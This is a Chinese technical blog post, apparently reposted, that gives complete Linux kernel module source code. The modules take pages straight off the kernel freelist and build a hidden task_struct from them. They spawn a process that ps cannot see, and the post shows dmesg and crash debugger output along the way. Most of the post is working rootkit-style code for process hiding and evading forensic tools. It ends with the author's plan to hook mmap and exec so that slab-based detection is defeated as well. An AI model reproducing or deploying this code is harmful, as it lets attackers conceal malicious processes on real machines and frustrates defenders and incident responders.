窃取内核的page?是的,偷page意味着我们绕过page分配的一切规则和接口,直接从freelist中摘取一个空闲的page来用。

直接看个POC吧,我来模拟一个task_struct的分配过程:
#include <linux/module.h> #include <linux/mm.h> #include <linux/sched.h> static
void * page_steal(unsigned int j) { void *addr = NULL; int i = 0;
for_each_online_node(i) { unsigned long spfn, epfn, pfn; spfn= node_start_pfn(i)
; epfn = node_end_pfn(i); for (pfn = spfn; pfn < epfn;) { struct page *page =
pfn_to_page(pfn); // 找到空闲页面,并且没有被偷走的,就摘除它,偷走它,占有它! if (page_count(page) == 0 &&
pfn== j && (page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
// 仅仅从freelist中摘除,并不增加引用计数。 // 该page我们是偷来的,永久保有,绝不归还! list_del(&page->lru); //
至此,内核已经看不到这个page了,获取地址使用它吧。 addr = page_address(page); // 注意,偷的page最好直接使用线性映射地址。
// 并且,一定要check其PTE的性质,保证可读写,必要时可执行!!本文略。 break; } pfn ++; } } return addr; }
static int __init steal_task_init(void) { struct task_struct *p, *curr = current
; unsigned int j = 2000; again: // 这里模拟一个用偷来的page构建task_struct的过程。 p = (struct
task_struct*)page_steal(j); if (p) { *p = *curr; p->pid = 0xffffff; strcpy(p->
comm, "JingLiSkinShoe"); printk("get page:%p at %d\n", p, j); } else if (j > 0)
{ j --; goto again; } return -1; } module_init(steal_task_init); MODULE_LICENSE(
"GPL");
加载这个模块,根据打印信息用crash来dump结构体:
[root@localhost test]# dmesg [ 9260.300467] get page:ffff880000500000 at 1280
我们看看这个地址:
crash> task_struct.sched_class,comm,pid ffff880000500000 sched_class =
0xffffffff81669340 <fair_sched_class> comm = "JingLiSkinShoe\000" pid = 16777215
crash>
OK,我们试试用上文中介绍的dump所有slab对象的方法能找到它吗?
[root@localhost test]# insmod ./pagescan.ko insmod: ERROR: could not insert
module ./pagescan.ko: Operation not permitted[root@localhost test]# dmesg |grep
JingLiSkinShoe [root@localhost test]# echo $? 1
很显然,没有找到!

OK,根据以上的POC,我们可以来个正式的了。也就是,是时候搞一个可以运行的隐藏进程了,请看:
// stealfork.c #include <linux/module.h> #include <linux/cred.h> #include
<linux/slab.h> #include <linux/kallsyms.h> #include <linux/nsproxy.h> #include
<linux/pid_namespace.h> #include <linux/random.h> #include <linux/fdtable.h> #
include <linux/cgroup.h> #include <linux/sched.h> int (*_run_process)(struct
filename*file, char **, char **); struct filename * (*_getname_kernel)(char *
name); int test_stub2(void) { printk("stub pid: %d at %p\n", current->pid,
current); if (_run_process) { int r =_run_process(_getname_kernel("/root/run"),
NULL, NULL); printk("result:%d\n", r); } current->parent = current; current->
real_parent= current; return 0; } int (*_arch_dup_task_struct)(struct
task_struct*, struct task_struct *); int (*_copy_thread)(unsigned long, unsigned
long, unsigned long, struct task_struct *); void (*_wake_up_new_task)(struct
task_struct*); void (*_sched_fork)(unsigned long, struct task_struct *); struct
fs_struct* (*_copy_fs_struct)(struct fs_struct *); struct files_struct * (*
_dup_fd)(struct files_struct *, int *); struct pid * (*_alloc_pid)(struct
pid_namespace*ns); static void *page_steal(unsigned int j) { void *addr = NULL;
int i = 0; for_each_online_node(i) { unsigned long spfn, epfn, pfn; spfn=
node_start_pfn(i); epfn = node_end_pfn(i); for (pfn = spfn; pfn < epfn;) {
struct page *page = pfn_to_page(pfn); if (page_count(page) == 0 && pfn == j && (
page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) { list_del(&
page->lru); addr = page_address(page); // 此处,一定要check其PTE的性质,保证可读写,必要时可执行!!本文略。
break; } pfn ++; } } return addr; } static void *steal_alloc(void) { void *addr;
static unsigned int j = 8000; again: addr = page_steal(j); if (addr) { j --;
return addr; } else if (j > 0) { j --; goto again; } return NULL; } static int
__initstealfork_init(void) { unsigned char *base; struct task_struct *tsk;
struct thread_info *ti; struct task_struct *orig = current; unsigned long *
stackend; struct pid_link *link; struct hlist_node *node; struct sighand_struct
*sig; struct signal_struct *sign; struct cred *new; struct pid *pid = NULL; int
type, err = 0; _arch_dup_task_struct = (void *)kallsyms_lookup_name(
"arch_dup_task_struct"); _sched_fork = (void *)kallsyms_lookup_name("sched_fork"
); _copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct"); _dup_fd = (
void *)kallsyms_lookup_name("dup_fd"); _run_process = (void *)
kallsyms_lookup_name("do_execve"); _getname_kernel = (void *)
kallsyms_lookup_name("getname_kernel"); _alloc_pid = (void *)
kallsyms_lookup_name("alloc_pid"); _copy_thread = (void *)kallsyms_lookup_name(
"copy_thread"); _wake_up_new_task = (void *)kallsyms_lookup_name(
"wake_up_new_task"); // 所有的内核分配均使用steal_alloc来偷! base = (unsigned char *)
steal_alloc(); tsk = (struct task_struct *)base; _arch_dup_task_struct(tsk, orig
); base = (unsigned char *)steal_alloc(); ti = (struct thread_info *)base; tsk->
stack= ti; *task_thread_info(tsk) = *task_thread_info(orig); task_thread_info(
tsk)->task = tsk; stackend = end_of_stack(tsk); *stackend = 0x57AC6E9D; tsk->
stack_canary= get_random_int(); clear_tsk_thread_flag(tsk,
TIF_USER_RETURN_NOTIFY); clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED );
atomic_set(&tsk->usage, 2); tsk->splice_pipe = NULL; tsk->task_frag.page = NULL;
memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat)); raw_spin_lock_init(&tsk->
pi_lock); plist_head_init(&tsk->pi_waiters); tsk->pi_blocked_on = NULL;
rcu_copy_process(tsk); tsk->vfork_done = NULL; spin_lock_init(&tsk->alloc_lock);
init_sigpending(&tsk->pending); seqlock_init(&tsk->vtime_seqlock); tsk->
audit_context= NULL; _sched_fork(0, tsk); tsk->mm = NULL; tsk->active_mm = NULL;
memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp)); mutex_init(&tsk
->perf_event_mutex); INIT_LIST_HEAD(&tsk->perf_event_list); new = prepare_creds(
); if (new->thread_keyring) { key_put(new->thread_keyring); new->thread_keyring
= NULL; } key_put(new->process_keyring); new->process_keyring = NULL; atomic_inc
(&new->user->processes); tsk->cred = tsk->real_cred = get_cred(new);
validate_creds(new); tsk->fs = _copy_fs_struct(current->fs); tsk->files =
_dup_fd(current->files, &err); base = steal_alloc(); sig = (struct
sighand_struct*)base; atomic_set(&sig->count, 2); memcpy(sig->action, current->
sighand->action, sizeof(sig->action)); base = steal_alloc(); sign = (struct
signal_struct*)base; sign->nr_threads = 1; atomic_set(&sign->live, 2);
atomic_set(&sign->sigcnt, 2); sign->thread_head = (struct list_head)
LIST_HEAD_INIT(tsk->thread_node); tsk->thread_node = (struct list_head)
LIST_HEAD_INIT(sign->thread_head); init_waitqueue_head(&sign->wait_chldexit);
sign->curr_target = tsk; init_sigpending(&sign->shared_pending); INIT_LIST_HEAD(
&sign->posix_timers); seqlock_init(&sign->stats_lock); memcpy(sign->rlim,
current->signal->rlim, sizeof sign->rlim); tsk->cgroups = current->cgroups;
atomic_inc(&tsk->cgroups->refcount); INIT_LIST_HEAD(&tsk->cg_list); // 设置堆栈以及入口
tsk->flags |= PF_KTHREAD; _copy_thread(0, (unsigned long)test_stub2, (unsigned
long)0, tsk); tsk->clear_child_tid = NULL; tsk->set_child_tid = NULL; // 伪造身份证
pid= steal_alloc(); pid->level = current->nsproxy->pid_ns->level; pid->numbers[0
].nr = 0xffff; pid->numbers[0].ns = current->nsproxy->pid_ns; for (type = 0;
type< PIDTYPE_MAX; ++type) INIT_HLIST_HEAD(&pid->tasks[type]); atomic_set(&pid->
count, 2); // 进程管理结构自吞尾 INIT_LIST_HEAD(&tsk->ptrace_entry); INIT_LIST_HEAD(&tsk
->ptraced); atomic_set(&tsk->ptrace_bp_refcnt, 1); tsk->jobctl = 0; tsk->ptrace
= 0; tsk->pi_state_cache = NULL; tsk->group_leader = tsk; INIT_LIST_HEAD(&tsk->
thread_group); tsk->pid = pid_nr(pid); INIT_LIST_HEAD(&tsk->pi_state_list);
INIT_LIST_HEAD(&tsk->tasks); INIT_LIST_HEAD(&tsk->children); INIT_LIST_HEAD(&tsk
->sibling); // 进程组织自吞尾 tsk->pids[PIDTYPE_PID].pid = pid; link = &tsk->pids[
PIDTYPE_PID]; node = &link->node; INIT_HLIST_NODE(node); node->pprev = &node;
printk("task at %p\n", tsk); // 来吧! _wake_up_new_task(tsk); return 0; } static
void __exit stealfork_exit(void) { } module_init(stealfork_init); module_exit(
stealfork_exit); MODULE_LICENSE("GPL");
我们把/root/run改成一个不会退出的死循环,然后载入上面这个stealfork.ko模块,创建了一个新的进程/root/run,下面我们看下如何找到它。

首先,我们看看它的样子:
[root@localhost test]# dmesg [ 9914.796859] task at ffff880000f4f000 ...
我们看ffff880000f4f000这个地址:
crash> task_struct.sched_class,comm,pid ffff880000f4f000 sched_class =
0xffffffff81669340 <fair_sched_class> comm =
"run\000od\000\000\060\000\000\000\000\000\000" pid = 65535 crash>
OK,这就是我们的run进程,下面看用常规方法能找到它不?
[root@localhost test]# ps -e|grep run [root@localhost test]# echo $? 1
当然找不到!因为我根本就没有将它list到链表中!好吧,现在试试dump slab的方法:
[root@localhost test]# dmesg |grep run [10059.334359] ##### VMA owner:[run]
65535 PGD:ffff88003a928000 [10059.334360] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334361] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334361] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334362] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334363] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334363] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334364] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334365] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.334366] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.336179] ##### owner:[run] 65535
PGD:ffff88003a928000 [10059.336358] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.336359] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.336363] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.336366] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.336368] ##### VMA owner:[run] 65535
PGD:ffff88003a928000 [10059.336370] ##### VMA owner:[run] 65535
PGD:ffff88003a928000
不好!!被发现了!

Why?

虽然我们使用偷来的页面构建了task_struct,那么在task_struct的slab里就无法发现它,但是却被mm_struct和vm_area_struct出卖了!因为我没有控制mm_struct和vm_area_struct的分配过程也用偷来的页面,我实在是难以控制:

*
在task执行execve的调用中,会执行mm_alloc,重新分配一个mm_struct,并设置owner为task,为了控制mm_alloc,我们必须inlne
hook,这很麻烦。
* 进程运行过程中,会根据内存使用情况动态分配vm_area_struct,若hook这个过程,也非常麻烦。
这也从另一个侧面说明,用按图索骥顺藤摸瓜的方式查找可疑进程以及隐藏进程的方法,是多么好用!不要专门去直接找task_struct,间接将它缉拿归案!

下面,我要动手hook mmap以及exec了,让mm_struct和vm_area_struct也脱离管控!

浙江温州皮鞋湿,下雨进水不会胖!

技术
©2019-2020 Toolsou All rights reserved,
年薪20万属于什么水平?答案让人扎心!连 CEO 都不香了?这些互联网大佬接连辞任一文揭秘阿里、腾讯、百度的薪资职级百度、阿里、腾讯内部岗位级别和薪资结构,附带求职建议!可怕的不是堕落,而是清楚自己在堕落用C++跟你聊聊“原型模式” (复制/拷贝构造函数)关于keras使用fit_generator中遇到StopIteration惹什么猫都别惹熊猫!「功夫熊猫」20年对人类拿下4血C语言程序设计课程设计 之《学生成绩管理系统》Unity 场景异步加载(加载界面的实现)